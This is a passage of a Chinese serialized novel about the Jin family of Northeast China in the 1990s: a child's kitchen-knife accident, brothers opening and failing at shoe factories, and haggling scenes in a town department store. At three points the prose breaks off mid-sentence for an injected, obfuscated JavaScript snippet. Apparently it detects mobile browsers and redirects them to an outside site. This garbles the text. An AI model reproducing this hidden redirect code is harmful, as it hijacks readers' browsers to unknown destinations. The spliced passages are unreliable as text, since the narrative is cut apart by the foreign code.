金老爷子像个巡逻的监工似的,没事儿总是挨个儿子姑娘家的窜。到大儿子家,瞅瞅地里那西红柿长得不大点,就会说一句“咋不及时磕叉呢?”埋怨儿子连个地都种不好,最后总要说上一句“你看看你二弟人家……”然后就头也不回地走了。 等到了老五家,他背着手围着猪圈走了两圈,抽抽鼻子说道: “这玩意儿,太埋汰,还是你二哥那买卖行……” 老爷子拐上大道,直奔村边二儿子家,见到白老爷子,总是要唠唠几个儿子过得咋样,这功劲儿,白老爷子心里别提多难受了! 他妈的,明明自己也是五个儿子,竟然沦落到跑人家儿子家来住了! 但是他还不能往外说,只说还跟五儿子一起住呢,这次是来看看外孙! 所以,不出多些日子,白老两口又顺着村口来前的大道,一高一矮,一前一后地,往别的子女家“流浪”去了! 等白老两口一走,金山和金秋又成了野孩子了。他们俩待着没事儿,就喜欢在院子里,那些废旧轮胎里钻来钻去。金光耀以前开货车,废弃的那些大轮胎,对于孩子们来说,就跟一座座小房子似的,实在困了,他们就在那“小房子”里睡一觉,金山不知不觉就睡着了。 金秋待着没事儿,喜欢喂院子里那些鸡。从园子里薅一把菜,也不管是什么菜,就在轮胎边上,拿着菜刀剁了起来,她剁着正高兴,不知道哥哥就睡在那个轮胎里,等金山刚要探出脑袋,金秋的那把菜刀就剁了上去…… 白小双正在屋子里剪鞋料,她是被俩孩子震天的哭声吓出来的。金光耀则是在鞋厂里的机器轰鸣声中,听到了白小双恐怖的尖叫声。随即所有的机器都停止了,工人们都跑了出来。 白小双怀里抱着半边脸都是血的儿子,慌张地一边喊一边跳,那刺耳的叫声,穿透了四五队的上空。金秋坐在地上,张着大嘴扯着嗓子地哭,地上那把绣了的菜刀上,还沾着血迹,旁边轮胎上也溅得血迹斑斑的。 这场景,任是谁看了,心里都要凉半截。 金光耀还是头一次见到白小双像疯了似的,他往那跑的时候,两条腿都是抖的,脑袋里是空的,咋也稳不住架了。他一把抱起金秋,发现她手上粘的是哥哥的血,随即从白小双怀里抱过金山,就往大门外跑。 有几个男工,看这情况,把围裙一甩,赶紧跟了上去。 这边,白小双半边衣服都被染上了血迹,红鲜鲜的,很是吓人,她两只手哆嗦着,还在维持着刚才抱孩子的动作,随即晃晃悠悠地就要往下倒,女工们一拥而上,给她扶住了。直到这功劲儿,她才放声大哭起来。 金光耀眼瞅着儿子一只眼睛都被血糊住了,外加上金山蹬着腿地“哇哇”乱叫,他几次都要抱着孩子扑地上了,多亏几个跟着的工人,连拖带拽地,几乎是架着这爷俩往前奔,总算是到了村卫生室。 白永春穿着白大褂,正拿个大茶缸子喝水,门“哐”地一下被撞开了…… 白大夫擦干净金山脸上的血迹,发现眼睛没有大碍,金光耀才舒了一口气。 玄的是,那刀口离眼角也就差个几毫米,但凡偏一点点,这只眼睛就是要作废了。但是刀口有点儿深,白永春给简单包扎一下,让金光耀赶紧带孩子到市里去缝针。 就这么的,金山脸上的一边太阳穴,被金秋印上了一弯月牙。 从那以后,金秋就长大了,她再也不是那个因为过生日没有生日蛋糕,而坐在地上嚎啕大哭的那个任性小孩了;再也不是欺负哥哥,帮他干这干那,如果哥哥不同意,他就跑到爸妈面前告状的坏妹妹了。 金秋之前是个十足的“假小子”,跟着哥哥下水田地里抓青蛙,爬树找杨拉罐(杨树上一种虫子做茧后形成的硬壳,孩子们用来互相顶着玩),弹玻璃球,打弹弓,男孩子会的,她全都会。 但是其实金山跟男孩子们在一起玩,最不喜欢带着金秋。但妹妹就像是他的尾巴,怎么也甩不掉。 吃过早饭,金秋就盯着哥哥,看他突然跳窗户跑到后园子,又从后园子的墙上跳走了。她也身手敏捷地追了上去,一边跳墙,一边大喊着“哥哥”,如果哥哥还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718192|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头,她便使用必杀技——哭,只要一哭,他哥是没办法的,因为金秋的哭声大到很远都能听到,如果让金光耀听到非揍他不可。 自从闯了祸,金秋对哥哥就产生了愧疚感,再吵架时,一看到哥哥脸上的那个疤,她就没底气吵下去了。 双耀鞋厂越办越大,金光耀又在房子侧面那块空地上建了一个厂房,后园子的茅厕也改成了砖砌的分男女的厕所。 金秋上习惯了自家这种结实的水泥蹲坑,去到同学家那种两块板搭的厕所,看着底下脏污不堪的洞,吓到不敢上。 于是到了晚上,金秋总是会梦到板子折了,自己掉到茅厕里,满身都是白色的蛆虫。吓到半夜惊醒,哇哇叫。或者梦到自己走到悬崖边,掉了下去,一阵眩晕,被吓醒。姥姥告诉她,总是梦到掉下去,说明晚上睡觉的时候在长个子,“我的丫蛋儿将来长大是个大个子”。 金光耀这时节,与开大货车那时完全不同了,那时若是一条虫,他现在得是一条龙了,还是一条飞天的龙。 他落败那时候,喝多了酒,拿出来尹老爷子活着时,给他算的命理纸。一边读着,一边生气地骂: “净瞎扯,还‘十年无人识,一朝天下知’,我这特么‘无人识’都半辈子了,从一出生,我就跟土里的泥鳅似的,折腾这么长时间了,也没‘天下知’啊,谁特么认识我一个刨土的老农民!” 借着酒劲,他就要撕那命理纸,被白小双一把给抢了下来,骂道: “你这个傻子,喝酒更傻了,这玩意能是随便撕的么?” 等到后来,这命理纸被金光耀镶在玻璃框里保存起来,白小双还笑话他呢,说: “你这回咋不撕了呢?” 金光耀哆哆嗦嗦地反驳道: “哎哎,可不行瞎说啊,这尹老爷子在天上看着呢,瞎开什么玩笑!” 如今,金光耀又再一次成为金老爷子的“骄傲”。这天,又像多少年前似的,金老爷子一条腿盘在炕上,一条腿搭在炕沿上,就开始发话了: “老二啊,现如今,你这买卖越做越大了,手下工人都十多个了,你也得带动带动你那几个没用的弟兄。那老大水泥厂的活儿越来越不好干了,搁家呆些日子了,老五养猪挣不下几个钱儿,整的俺们上院都恶臭,你三弟弟呢,就成天搁家躺着,游手好闲的,总也不是个事儿,要我说……” 没等他老爹把话说完,金光耀大手一挥说道: “爸,不是我不帮着,你像开车啥的,那行,那玩意跟着跑几趟就学会了,这开鞋厂可不行,这玩意摊子大,纯技术活儿。再说,这玩意得两口子都得勤快,你没看小双一天到晚不闲着,搁这站着剪皮料,就杏花那懒得连口饭都不爱做的人,就能干了这个?合计都不用合计!” 金老爷子听他批评老三媳妇,心生不悦,但是依旧耐下性子,慢悠悠地劝着: “啥都在于带动,再说摊子要真支巴上了,她不干也不行了。再说,就算老三两口子不行,那老大和老五两口子,都是勤快人儿,要我说,你帮着带动带动,这要是你们哥几个都开上了鞋厂,那咱金氏家族不也有面儿么!何况,你们兄弟几个都是亲兄奶弟的,一个妈生的,都谁跟谁啊,有钱大家一起赚,这才是我这个当爹乐意看的……” 金老爷子咋也是当了多少年的村长了,一张嘴早就练得蜜里调油似的,既捧了金光耀,给足了他面子,又把那几个没能耐的儿子损了一顿。 总之,金光耀到最后,还是听了老爷子的,打算把自己这杯羹分一部分给兄弟们。 14. 90年代 金光耀是个重情重义的人,他把自家鞋厂大工们培养的徒弟,都输送给了兄弟们,时不时地还帮着去参谋参谋,于是四五队一下子就成了“鞋厂村”。 以往有进鞋的外地人来问: “老金家开的鞋厂怎么走?” 村民们二话不说,直接就指到金光耀家; 但是现在,要是再碰着这样问的,村民们都得回问一句: “你说的是金老几家的鞋厂?” 自从四个儿子都成了鞋厂老板,金老爷子的人生也达到了“巅峰时刻”。 从村长的位置上退下来后,他还是第一次觉得,自己如今比当村长都牛逼,走在村里的大道上,头都要仰到后背去了。 有那会说话的老村民跟他招呼着: “哎呦,这不金老板他爹吗!” 旁边的人总会附和着说道: “人家还不是一个金老板的爹,人家是四个金老板的爹!” 金老爷子这个时候,往往就会停下脚步,脸上尽量控制着笑容,说道: “嗨,可别拿我开涮了,他们那都是小买卖,小打小闹,啥老板不老板的!” 他越是这样谦虚着,旁边的那些人越是捧着说: “一家开一个鞋厂,每个鞋厂都十好几号人,那还叫小买卖啊?矿上那多大个食品厂,也才十来个人,你们家那买卖可不小了,四个儿子的鞋厂加一起,都四十来号人了!” 金老爷子,笑呵呵地听着,不说话。 跟金老爷子同样从村支部退下来的书记,老刘说道: “老金你行了啊,你这退了退了,当上大厂长了!” “哎,可得了,是我儿子们的厂子,又不是我的,瞎说!” 金老爷子的反驳,拉着长尾音,透露着一丝骄傲,但又不乏谦虚低调的意味。 老刘说道: “你是四个儿子的老子,他们管理工人,你管理儿子,就跟城里头大公司那董事长似的,到头来,还不是你说的算!” 旁边的人都跟着打着“哈哈”地附和。 金老爷子实在说不出啥谦虚的话了,抬脚就要走。 老刘问道: “这是要上几儿子家去监工去啊?” 金老爷子笑笑说道: “我去老二家瞅瞅,啥监工,我就过去卖会呆儿!” …… 老刘望着金老爷子傲娇的背影,跟其他人又开始唠上了: “你说说人这命怪哈,老金爹妈都挺惨,到他这辈儿也吃了不少苦,管咋的,人家这几个儿子出息啊。” 旁边的人说道: “嗨,人家那命能跟咱这自来就搁土里打滚的农民一样吗,人家那富贵命搁身上带着呢,血里头淌着的基因都跟咱这小老百姓不一样。” 金老爷子走得并不快,这些好听的话,顺着风就进了他的耳朵。 那说的人知道他能听到,故意把声音放大了好几倍! 等到金老爷子的身影消失在路口,拐到了另一趟街上,他们才说到正题上。 那刚刚夸完的人又说道: “嗨,但是家家有本难唱的曲儿,谁家没有个闹心事儿,那住在城里的金老四,听说结婚到现在,也没生下个一儿半女的,也够老金呛!” “哎呀,是吗,我咋没听说啊!” “嗨,他不总回来,听说给人家当倒插门女婿,咱这村里的倒插门女婿都不好当,你看前村老王二小子那女婿,不就是吗,那家伙被王二当牛一样使唤。那城里人更嚼性,一个小楼住着,不定怎么受屈呢,男人要是被欺负得像个娘们似的,那还生啥生了!” 旁边一个叼着烟卷,一直没说话的人说道: “嘿嘿,男人要是腰板直不起来,那玩意也蔫吧!” 老刘说道: “哎呀,人家老金也不差那一个孙子了,他这四个儿子,家家都生了儿子了,金老大俩儿子呢,剩下的人家也会生,家家一儿一女。” 有同意老刘说的,带着点酸的,说道: “人家这四个儿子媳妇都是老金给找的,长得都带劲,又能生养,那四儿子不听老子的,自由恋爱,整那新潮玩意不行,还得是老子有眼光。再说,你看身边这四个儿子,受老金的管,人家不个个都发了财?” “嗨,这玩意,你没听说过有句话么,富不过三代!” 闷声抽烟的那位,一根烟快抽完了,说完这句话,他把烟头放在干裂的嘴唇子上,狠大劲地吸了一口,随即扔在地上,上去一脚,踩得火星子四溅,抬腿走了。 他的这句话,就像那个瞬间失去了火光的烟屁股,把这场对话,也直接给终结了。 金老爷子没嘚瑟几年,老三金光祖和老大金光宗的鞋厂,就相继停产了。 要不是老爷子逼着,金光祖本来也没想开鞋厂,每天桌上有酒碗里有肉,他就知足了。但是奈何老爷子把仓房都给他拾掇出来了,建厂的本钱,他老爹也给准备出来了,他纯属于被“赶鸭子上架”,不开不行了! 跟金光耀两口子自己干不一样,金光祖两口子不参与鞋厂的任何生产工作。 虽然白小双受金老爷子的嘱托,特意跑到金老三家,手把手地教杏花怎么样下皮料,怎么样布局,才能最大限度地使用一张牛皮,毕竟牛皮可是开鞋厂里最贵的一项生产成本,省下皮料就是省下钱啊! 但是金光祖两口子,并没把这当回事儿,把鞋厂的一切都交给了工人,俩人还是照样过着之前的逍遥日子,出去打打麻将,扯扯闲蛋。 刚开始,他们靠着金光耀给的几笔单子,还勉强支撑。可渐渐地,皮鞋质量上不去,开胶、掉底儿、折面儿……问题百出,导致返单太多。 到最后,金光祖把二哥给自己的客户都给做丢了,一个也没剩下。 更可恨的是,就连金光耀都受到了牵连。 有时候金光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718193|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀出去推销鞋,一提四五队鞋厂的,人家连忙摆手说不要。 “可得了吧,我们不卖你们四五队的鞋,货款早早给我收了,货干等不来,等来了,那做的啥玩意,顾客穿完都来找来了,我这买卖都差点儿做不下去了”。 金光耀解释说: “那绝对不是俺家鞋,俺家鞋卖这老些年了,从来没有这状况。” 那人问: “四五队好几家鞋厂么?你是谁家的?” 金光耀说: “我是村边上金老二,你进的货应该是金老三家的吧?” “嗨,我也不知道金老几,反正姓金,个不咋高,有点胖那个,你们不是一家啊?” “嗯,是我三弟弟,我是俺们村最先干鞋厂的,你放心,俺家鞋绝对不会出现那些问题……” 自打老三开上鞋厂,金光耀这买卖越发不好干了。 要是光是分一杯羹吧,也就算了,他不介意,但是现在不光是分一杯羹的问题了,而是连着他的饭碗都要被他给砸了。 但是事已至此,金光耀没办法,只得咬牙挺着。 提起金老三家的鞋,就连村民们都知道“质量照老二家差远了”。名声搞臭了,生意也就此打住。 金光祖两口子又打算缩起脖子,猫在老爷子翅膀底下过活。 可这次,老爷子已经受够了这没断奶的儿子。 老两口把房子留给金光祖他们一家,跟着两个女儿一起上镇里住楼房去了。 金老爷子一辈子精打细算,好不容易攒下一些钱,被金老三一家子给霍霍差不多了,剩下留着棺材本的钱,再不可能往那无底洞似的三儿子家扔了。 老两口在幺女儿燕子楼下买了个40多平的小楼房,打算过清静的晚年生活了。 除了老三,金老爷子最放心不下的就是小女儿,除了年龄最小外,因为她一出生就有先天性心脏病,没少让老两口操心。 如今嫁了个玻璃厂工人宋玉,冒险生下一个女儿,但听说小两口总吵架,老的便过来旁边看着,生怕把她女儿气心脏病复发了。 邻居们都知道,宋玉是个难得的好女婿。 家里一应家务活,洗衣、做饭、拖地都是他干,这是结婚前他答应好老丈人的。燕子每天吃完饭把碗一推,浓妆艳抹地就出去打麻将了。本想着生完孩子后,她能有所收敛,可照旧是天天麻将。 宋玉上白班,燕子就把孩子送到金老爷子家,自己出去玩。宋玉上夜班,一早上刚踏进家门,连口热乎饭都还没来得及吃,燕子就把孩子送到他怀里,自己出去打麻将了。他说几句抱怨的话,燕子就会劈头盖脸骂他一顿。 因为从小就有病,所以燕子得到了全家人的呵护,谁也不敢惹到她;也正因为这个病,她恃宠而骄,敢任意践踏别人的感情。 性格决定了一个人的人生走向,她不会知道,她不曾珍惜的现在,都将会成为无法再拥有的曾经。 15. 90年代 自从金秋上次闯下那祸后,白老两口子就在白小双家住上了,金秋高兴得不得了。 她觉得很奇怪,相比于姥姥姥爷,她从来没和爷爷奶奶亲近过,每次见了爷爷奶奶也总是害羞地躲在妈妈后面。每年仅有的几次亲密接触,就是爷爷奶奶生日和过年时的聚餐。 到了年根底下,白小双除了忙鞋厂的事儿,还要忙着给金秋和哥哥买一身新衣服,再亲手做一双新鞋子。新衣服或是去镇上商场里挑,或是爸爸进货时带回来的新款式。 每到过年,孩子们都是最开心的。总算盼到了初一早上,金秋穿上新衣服、新裤子、新袜子、新鞋子,再让妈妈给戴上新的粉红粉红的头绫子,一家四口就走到爷爷家吃饭去了。 一到地方,金山就跟着男孩子们出去捡鞭炮了。金秋作为金家最大的大姐,则领着妹妹们玩起过家家的游戏。 白小双挽起袖子钻到厨房里,和一帮媳妇们一起做饭。 吃完饭后,是金秋最喜欢又最忐忑的环节。金老爷子喜欢唱歌跳舞,他的子女们也都喜欢唱。金光耀在部队里学的《小白杨》、《在那桃花盛开的地方》,唱得有板有眼。有时家里突然停电,金光耀点上一根蜡烛,就会把金秋抱在怀里深情地唱起歌来,所以金秋话还没说利索,就会咿呀唱歌了。 金秋的嗓音洪亮,又带着点奶音,像一口清泉一样,甜亮亮的。她唱完歌后,总会得到大爷大妈叔叔婶婶的夸奖,这让她很不好意思,总是一唱完,就钻到白小双的怀里去。 可是给爸爸妈妈争光,她还是很高兴。只是在她小小的心里,有一些紧张。就像她和爷爷奶奶的关系一样,明明是很亲近的人,却又总是没那么亲近。这种不放松的感觉,让她觉得似乎不是亲人聚会,而像是舞台表演。 镇上一到过年的时节,就变得异常热闹起来,大道上人挤人的,大家都感叹着说: “哎,只有到这时候,才发现咱们这镇上人不少啊,平时咋都看不着啊!” 就是旁边不认识的人,如今挤在一起,倒像比认识的还亲似的,乐呵呵地说道: “嗨,平时这人都是地上一半,地下一半的,这不过节都跑地上边来了么,能不挤吗!” 大家就是挤着也高兴,越挤还越愿意买。 镇中心四层的百货大楼,到了这个时候,更是人满为患。 四层是卖小百货的,什么项链、梳子、化妆品、金秋带的头绫子……对于男人们来说,全都是小来无趣的东西,但是对于娘们和姑娘们来说,那可是一个好去处。 三层是内衣家居用品,花花绿绿的床单子,高高地挑在墙上,每个卖货的手里都拿着个竹竿子,想要看哪个,那卖的用竹竿子一挑,就送到那买的人手里了。 赶上那脾气爆的,挑了好几竿子,那买的也不买,那卖的必是要骂的,就是不骂也得说几句酸话: “哎呀,你倒是看好了啊,我这费老劲给你往下挑,你要确定买了再说吧!” 说着,把那竿子一撂,嗑起手里的瓜子了。 遇着那脾气好的,又想买的,就笑着说道: “嗨,知道你受累了,但是我不得挨近了瞅瞅么,您受累,再帮我把那旁边那个小粉花儿配米色底的那个,拿下来,我瞅瞅。我真是诚心买,要不能搁这挑老半天么?” 那卖的虽然不乐意,但被说几句好话,总是不情愿地,又拿起了竹竿子,只是这回挑下来塞到买的人手里时,总要狠劲地抖一下。 若是遇到那同样脾气爆的买家,那卖的可就糟了殃。 “哎,你这是啥人,谁买东西不挑挑拣拣的,那不挑不拣的,还叫买东西了吗?我上门来给你送钱来了,你还跟我鼻子不是鼻子,脸不是脸的来着,我该你的啊!咋我有钱买不着东西咋的,比你好的有的是,我非得搁你这挑啊,我搁你这挑,是给你面子了,给脸不要脸的玩意……” 都说“顾客就是上帝”,不管是卖的还是买的吵起来,那买的总是得着更多人的同情,毕竟人家是花钱的一方,就好像挣钱的一方不是低三下四的把钱挣了,牛气哄哄地把钱挣了,就是一种罪恶似的。 再说毕竟买的人多,卖的人少,往往这个时候,旁边那些买的人,也帮着她说话“可不咋的,谁花钱不涂一乐呢!” 那旁边卖的,哪有几个会同情同行的,竞争都还竞争不过来呢? 那刚才没忍住发脾气的,眼睁睁地瞅着,自个家柜台前的客人们都走了,那刚才骂她的那买家,像赌气似的,转身就在她对面柜台的那个对家,连挑都不挑,就买了一个被面走了。 所以,往往那卖的被收拾这一回,以后就是累得狗德性样了,也得耐着一万个性子的忍着,要想让老娘们从兜里往出掏钱,那真是比登天还难呢! 所以百货楼的三四层,基本都是娘们逛的地方,很少有老爷们跟着上去溜达。就是一起来的,他们也必定是在外面的门廊上等着。 到后来,那卖内衣的,有要穿身上试试的,刚开始还整个布帘子遮一遮,到后来,干脆连布帘子都懒得遮了,那买的四下望一望,直接就套身上试穿。 二楼是卖服装的,往往也是整个百货里,人最多的楼层。尤其是春节前,那人,可真是挤不透压不透。 在东北,哪个人家就是再穷再节俭,等到了年根子底下,也是要从箱柜子里掏出压箱底儿的钱,带着孩子们去买一套新衣服穿的。 孩子过年不穿新衣服,就跟年三十晚上没有包饺子接财神一样,那是不吉利的。 所以,老的少的,男的女的,一大家子都要涌到二楼去。有时候两家子都看好了一件衣裳,两个姑娘一人拽个衣服角,谁也不松手,那卖衣服的偏偏就剩这么一件了,那就有场好戏看了。 一家子姑娘妈说道: “诶,有没有个先来后到的,俺们先拿起来看的,咋你们还看上了?” 另一个姑娘妈也不让呛,反驳道: “嗨,我说你这个人有意思啊,人家挂着搁这卖的,你看上就得归你啊,这百货里墙上挂的衣服都你家的咋的,谁给钱就是谁的!” 说着,她把一卷子钱扔到卖货的手边,就要把这衣服拽到自己手里。 另一个姑娘妈,是那好说话的,也就领着姑娘走了;但若是遇上不好说话的,那可就要打起来了,另一个骂道: “从哪冒出来你这么个狗娘养的玩意,我看你是皮子紧了,找挨打是吧,我还就告诉你了,今儿这衣服我是必定要了的,我看你敢动弹一下。” 往往这个时候,俩娘们的姑娘们都会私下互瞪起来,有胆小的也就吓哭了,偷偷拽着妈妈衣角,意思要走;那两下都厉害的,或是憋着一股气,脖子粗脸红的,或是干脆就上手先打起来了。 但是他们两家的爷们,从来都是不说话,也不上去拉架的。俩人儿只是像同为看戏的戏友,互相对视一眼,会心一笑。还兴许,两下一起走到门廊上,互相递一根儿烟,抽了起来。 东北的男人们,都是这个样子,但凡跟娘们粘上点关系的事儿,似乎都不是啥大事儿,就是打一起了,男的也是不行插手的,那会让人家笑掉大牙的。 所以,这也就是为啥,东北男人最反感被谁说“娘们兮兮的”,那简直是天大的耻辱,这句话必定是要引起一场大战争的。 所以,拉架的只能是那卖的,卖家喝止道: “哎,你们要打上外边打去,可别影响我卖货,到底买不买了,要买,咱就说买的事儿,别扯别个!” 俩人异口同声都说要买。 那卖的就会说道: “这么滴吧,你们两下都要买,谁也不让着谁,只能说是我出个价,谁接受,谁就拿走,你们看行不?” 两个要买的,一听这话都不作声了。 那卖的把刚才其中一家给的钱扔了回去,说要加个十块八块的,这让两个刚才打的娘们,立刻站到了统一战线上。 一个说: “诶,我说,你咋不去抢钱去呢,有这么干的么,俺们两个都看好了,你就加价,我看你心是真够黑的了!” 另一个应和着说道: “可不咋的,没你这么干的,我以为你加个一块两块算顶天了,这家伙,加十块钱,你咋不加一百呢,真是不要脸!” 两个娘们各自拽着姑娘,气呼呼地走了。 她们前脚刚走,那在旁边一直看热闹的娘们,其实也没咋看好那件衣服,但是经历这么一场风波,这件衣服不知道为啥,就像被镀了一层金似的,显得尤其的值钱了。 于是她二话不说,拽过来说道: “哎呀,衣服都给扯变形了,你说到最后谁也没买,我拿着得了!” 一副,她勉强帮卖家收拾了烂摊子似的口吻。 可那买的再精,哪能赶上卖的精呢! 那卖的可不领这个情,一把拽过来衣服,回身把衣服挂衣架上了,说道: “哎,那哪行呢,我这衣服卖的可老好了,进了十来件,就剩下这一件了,加上十块钱我卖不了,我加五块一会儿就得没!” 人这东西怪,越不是让你得到的,你还偏想要得到。 欲擒故纵这套把戏,不光感情里好使,就是买卖里头,那也是屡试不爽,百试不厌的。 这买的虽说心下里生气,但是难免脸上还是要挤出一丝笑,好说好商量地说道: “嗨,你卖给谁不是卖,这么的得了,你也别加五块了,我就带这些钱,我顶多给你加两块,拉我个主道,回头多上你家买几件衣服,也就有了,你看这么着行不,行,就痛快地!” 这句话说的,又给了卖的人台阶下,又带着一丝不容分说。 那买的,说着话的同时,把那些钱放在了柜台上。那卖的看着钱,笑了笑,就像是下了多大狠心似的,给了多大面子似的,看都不看一眼,回手摸着就把衣服从衣架上取下来了,掏出个方便袋,鼓了大劲儿地往里吹一口,边把衣服往里塞,边说: “嗨,我呀,要是都碰着您这样明事理的顾客啊,我这买卖就好做多了,这一天费这口舌啊,给我整的啊,一天天,口干舌燥的。你瞅俺们穿的溜光水滑的,挣这几个钱儿,那么容易呢!” 那买的一手拿货,那卖的一手拿钱,塞到腰上系的鼓鼓的挎包里。 两下都笑呵呵地。 “行,我下次再来。” “哎,姐,您慢走啊,俺家总来新货,常来瞅瞅!” 等到傍晚上了,要收摊子了。旁边那些个柜台的人问道: “哎,你家今天这家伙生意好啊,买衣裳都打起来了!” 那卖的,嘴上的口红到这时候也都吃得差不多了,只剩着唇边上那一圈,带着点颜色,说道: “嗨,其实那衣裳还真没多少钱进的,批发的去年的存货,我看颜色不咋亮堂,没敢进多,就进那么一件,没曾想给我整这么一出!” 说完话,她就吐着唾沫星子在手指头上,从包里翻出厚厚一摞钱,当着大家伙儿的面数上了。 做买卖这东西怪,你卖的不好吧,没人同情你,还得时时压着你;你卖的好吧,惹人恨,但是谁也不敢把你怎么着,还得时刻抬举着你。 所以,到头来,大家还是都喜欢那卖的好的。 相比那二三四层的热闹,百货的一层要冷清得多,一层都是卖鞋的,各种鞋,拖鞋、布鞋、胶鞋、皮鞋…… 鞋只要是不坏,基本上是用不着总买的。 这些个鞋摊子,大家都像是约好了似的,卖拖鞋的就只卖拖鞋,卖胶鞋的也绝对不会卖布鞋,卖皮鞋的更不会摆几双布鞋卖,一个柜台一个柜台的挨着,进去买鞋的人,目标明确,卖鞋的也不用多费口舌。 这里面的皮鞋柜台上,就有一家专门卖金光耀家鞋的,卖皮鞋的摊位大概有七八家,但是金光耀只给其中一家供货,这是有讲究的,就像找对象,人家俩看上眼了,别人若是在旁边“眉来眼去”的,那是有损形象的,对谁都不好。 所以,金光耀家的鞋卖的再好,旁边那几家皮鞋摊子就是干瞅着,也不能上人家金光耀家去要货去,就是去要,金光耀也不能给; 反过来,给金光耀卖鞋的这家鞋摊子,老板脾气不咋好,招揽不住回头客,卖的不咋好,那金光耀只能自认倒霉,眼瞅着自己家的鞋搁那落灰,也不能去找下家。 当然了,也有两下同时看不上的,就像俩人处着对象,处着处着,发现两下不合适,那一拍两散,各找下家。 总之,只要有一方没撂话,另一方要是二上找了别家,那是要招致一顿骂的,被扣上这“不讲信誉”的帽子,生意就没法做了。 金光耀是严格遵守着这约定的,但是他的五弟,猴精猴精的,可是不管这套的。就像小时候,喜欢跟在几个哥哥后面跑一样,他做生意就一个原则,跟着二哥屁股后边,准没错。 常卖金光耀鞋的这家摊主老板,五十多岁了,头发早早白了,大家都管他叫老严头。从这百货建起来,他就在这一楼卖鞋了,人中规中矩的,不苟言笑,鞋摆的齐刷刷的,一尘不染的,鞋头全都透着亮的干净。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金光耀晚上躺炕上,跟白小双合计,老严从来都是不爱多说一句话的人,背后嚼舌根子这种事儿,更是跟他绝缘,咋今天这话说得,影影乎乎的? 俩人合计来合计去,老三两口子懒得一塌糊涂,根本不可能主动跑去推销鞋去;老大两口子,从来都是玲子主外,出去跑,也不太可能。 思来想去,只有那个老五了,他平时在家干活跟自个媳妇都藏奸,虽说金光耀对他一直都不错,但是他可不是个懂得感恩的人。 金光耀到现在都还记得,小时候丢的那枚珍贵的鸡蛋。金家落败之后,家里穷得揭不开锅,别说是野菜汤喝到吐,就是树皮他都啃过。 那天早上,他饿着肚子从炕上爬起来,刚走到窗根底下,他娘金老太突然从围裙下边,掏出来一个煮熟的鸡蛋塞到金光耀手里。 金老太趴着他耳边悄声说: “老二,今天你生日,找个地方偷摸吃了去吧!” 金光耀当时激动地,眼泪差点儿没掉下来。 等到他跑出老远,跑到大野地里,用黑乎乎的手掌心托着那枚粉嘟嘟的鸡蛋时,再也控制不住眼泪了,啪嗒啪嗒地,成串的泪珠落在黑土地上,印出一个个泥窝。 家里七个孩子,老大要去水泥厂干活,啥吃的都得可着老大来,就是剩下的,还得给弟弟妹妹吃,他这上不上下不下的,从来都是被忽视的那一个。 记得有一次,村里人家办白事儿,他和一帮半大小子们疯玩,打弹弓子、上树、玩藏猫猫…… 为了不让别人找到,他和另一个孩子胆子大,躲到棺材里去了。那里面黑了咕咚的,再加上他也玩累了,不知不觉睡着了,那跟着他一起躲着的孩子,也没叫他,早就跑出去,回家去了。 金光耀是一早上,被办白事儿那家人给叫醒的,他们要把死者放到棺材里出殡,打开一看,发现有个孩子,刚开始吓了一跳。 金光耀哪懂那些个,跳出来,撒丫子就往家跑,等到了家,一家子正在吃早饭,谁也不知道他昨晚上一宿没回家的事儿,还以为他刚上完茅厕回来。 所以,如今这个专属于他的鸡蛋,此刻在阳光的照射下,像一颗钻石一样珍贵。 虽然他此刻肚子饿得别说能一口就给它吞了,就是再来十个鸡蛋,他都能一口气造了,但是他咽了咽口水,愣是忍着没吃。 金光耀把鸡蛋揣在裤兜里,回家拿起水瓢灌了一肚子水,把肚子喝得鼓鼓的。好不容易捱到晚上,他手里握着那枚鸡蛋就睡着了。 但是一早上,他发现他搂着睡觉的鸡蛋不翼而飞了,他把破被子抖落得棉花到处飞,也没找到他的鸡蛋。 可是,他还不敢大声张扬,毕竟这事儿只有他和他娘知道,他含着眼泪,又把炕上炕下,全都翻着找了一遍,也没看到鸡蛋的影儿。 等到下晚上,放学了,他把三个弟弟的黄布包一顿翻,才在老五破糟糟的包底下,发现一片鸡蛋碎片。 等到他把老五揪在墙角质问的时候,老五含着眼泪说道: “哥,我也不知道是你的啊,一早上我在脚跟底下发现的!” “我昨天生日,你知不知道……” 金光耀咬着牙,逼出“生日”这两个字,眼睛都要喷出火来了。 对于他来说,那不仅仅是个鸡蛋,那是比钻石都珍贵的东西。 “我不知道哥,我实在太饿了,二哥……” 老五呜呜地哭了起来。 金光耀抬到半道儿的手,又慢慢放下了,也不知道咋了,弟弟妹妹一管他叫“二哥”,他那心就跟被什么东西揪住了似的,拧巴着难受。 他看着又瘦又小的老五,尖嘴猴腮的,虽然他是最小的儿子,可却不咋受爹妈的待见,倒是他这个二哥没事儿总带着他,有时候他回来晚了,还是他偷摸地给他留半拉窝头。 